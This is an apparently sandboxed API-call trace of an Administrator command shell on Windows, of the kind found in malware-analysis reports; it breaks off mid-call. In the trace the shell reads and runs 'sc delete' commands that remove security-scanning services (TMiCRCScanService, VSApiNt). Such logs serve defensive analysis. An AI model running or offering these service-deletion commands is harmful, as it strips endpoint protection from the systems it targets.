GetEnvironmentStringsW () returned 0x1d1b10* [0068.619] GetProcessHeap () returned 0x1b0000 [0068.619] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0068.619] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.619] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.619] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.619] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0068.662] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.662] CloseHandle (hObject=0x50) returned 1 [0068.662] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.662] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.662] GetProcessHeap () returned 0x1b0000 [0068.662] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0068.662] GetEnvironmentStringsW () returned 0x1d1b10* [0068.662] GetProcessHeap () returned 0x1b0000 [0068.662] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0068.663] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.663] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.663] GetProcessHeap () returned 0x1b0000 [0068.663] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0068.663] GetEnvironmentStringsW () returned 0x1d1b10* [0068.663] GetProcessHeap () returned 0x1b0000 [0068.663] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0068.663] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.663] GetProcessHeap () returned 0x1b0000 [0068.663] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.663] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.663] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.663] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.663] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.664] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.664] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.664] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.664] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.664] GetConsoleOutputCP () returned 0x1b5 [0068.664] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.664] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.664] GetProcessHeap () returned 0x1b0000 [0068.664] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.664] GetProcessHeap () returned 0x1b0000 [0068.664] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.664] GetProcessHeap () returned 0x1b0000 [0068.664] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.664] GetProcessHeap () returned 0x1b0000 [0068.664] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0068.664] GetProcessHeap () returned 0x1b0000 [0068.664] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.664] GetProcessHeap () returned 0x1b0000 [0068.664] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.665] GetProcessHeap () returned 0x1b0000 [0068.665] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0068.665] GetProcessHeap () returned 0x1b0000 [0068.665] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.665] GetProcessHeap () returned 0x1b0000 [0068.665] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.665] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.665] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.665] GetFileType (hFile=0x120) returned 0x3 [0068.665] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.665] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.665] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.665] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.665] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.665] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.665] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.665] GetFileType (hFile=0x120) returned 0x3 [0068.665] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.665] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.665] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.665] GetFileType (hFile=0xb8) returned 0x3 [0068.665] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.665] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.665] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.666] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.666] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.666] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.666] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.666] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.666] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.666] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.666] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.666] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.666] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.666] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.666] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.666] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.666] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.666] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.666] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.666] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.666] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.667] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.667] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.667] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.667] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.667] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.667] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.667] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.667] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.667] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.667] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.667] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.667] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="VMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.667] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.667] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.667] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="SiCRCScanService\ne\n\n\nA\"\n") returned 1 [0068.667] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.667] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.667] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="ACRCScanService\ne\n\n\nA\"\n") returned 1 [0068.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.668] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.668] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="pRCScanService\ne\n\n\nA\"\n") returned 1 [0068.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.668] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.668] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="iCScanService\ne\n\n\nA\"\n") returned 1 [0068.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.668] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.668] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="NScanService\ne\n\n\nA\"\n") returned 1 [0068.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.668] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.668] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="tcanService\ne\n\n\nA\"\n") returned 1 [0068.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.668] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.668] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="\nanService\ne\n\n\nA\"\n") returned 1 [0068.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.668] GetFileType (hFile=0xb8) returned 0x3 [0068.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.668] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.668] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.668] GetFileType (hFile=0x120) returned 0x3 [0068.669] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete VSApiNt\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete VSApiNt\n", lpUsedDefaultChar=0x0) returned 19 [0068.669] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x12, lpOverlapped=0x0) returned 1 [0068.669] GetProcessHeap () returned 0x1b0000 [0068.669] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.669] GetProcessHeap () returned 0x1b0000 [0068.669] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.669] GetProcessHeap () returned 0x1b0000 [0068.669] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.669] GetProcessHeap () returned 0x1b0000 [0068.669] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.669] GetProcessHeap () returned 0x1b0000 [0068.669] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x30) returned 0x1c6510 [0068.669] GetConsoleOutputCP () returned 0x1b5 [0068.670] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.670] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.670] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.670] GetProcessHeap () returned 0x1b0000 [0068.670] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.670] GetProcessHeap () returned 0x1b0000 [0068.670] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x36) returned 0x1c6550 [0068.670] GetProcessHeap () returned 0x1b0000 [0068.670] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc590 [0068.670] SetErrorMode (uMode=0x0) returned 0x1 [0068.670] SetErrorMode (uMode=0x1) returned 0x0 [0068.670] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5a0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.670] SetErrorMode (uMode=0x1) returned 0x1 [0068.670] GetProcessHeap () returned 0x1b0000 [0068.670] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc590, Size=0x62) returned 0x1cc590 [0068.670] GetProcessHeap () returned 0x1b0000 [0068.670] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc590) returned 0x62 [0068.670] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.670] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.670] GetProcessHeap () returned 0x1b0000 [0068.670] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.671] GetProcessHeap () returned 0x1b0000 [0068.671] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.671] GetProcessHeap () returned 0x1b0000 [0068.671] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.671] GetProcessHeap () returned 0x1b0000 [0068.671] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.671] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.671] GetProcessHeap () returned 0x1b0000 [0068.671] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.671] GetProcessHeap () returned 0x1b0000 [0068.671] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.671] GetProcessHeap () returned 0x1b0000 [0068.671] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.671] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.671] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.671] GetLastError () returned 0x2 [0068.671] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.671] GetLastError () returned 0x2 [0068.671] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.671] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1cba10 [0068.672] FindClose (in: hFindFile=0x1cba10 | out: hFindFile=0x1cba10) returned 1 [0068.672] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.672] GetLastError () returned 0x2 [0068.672] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, 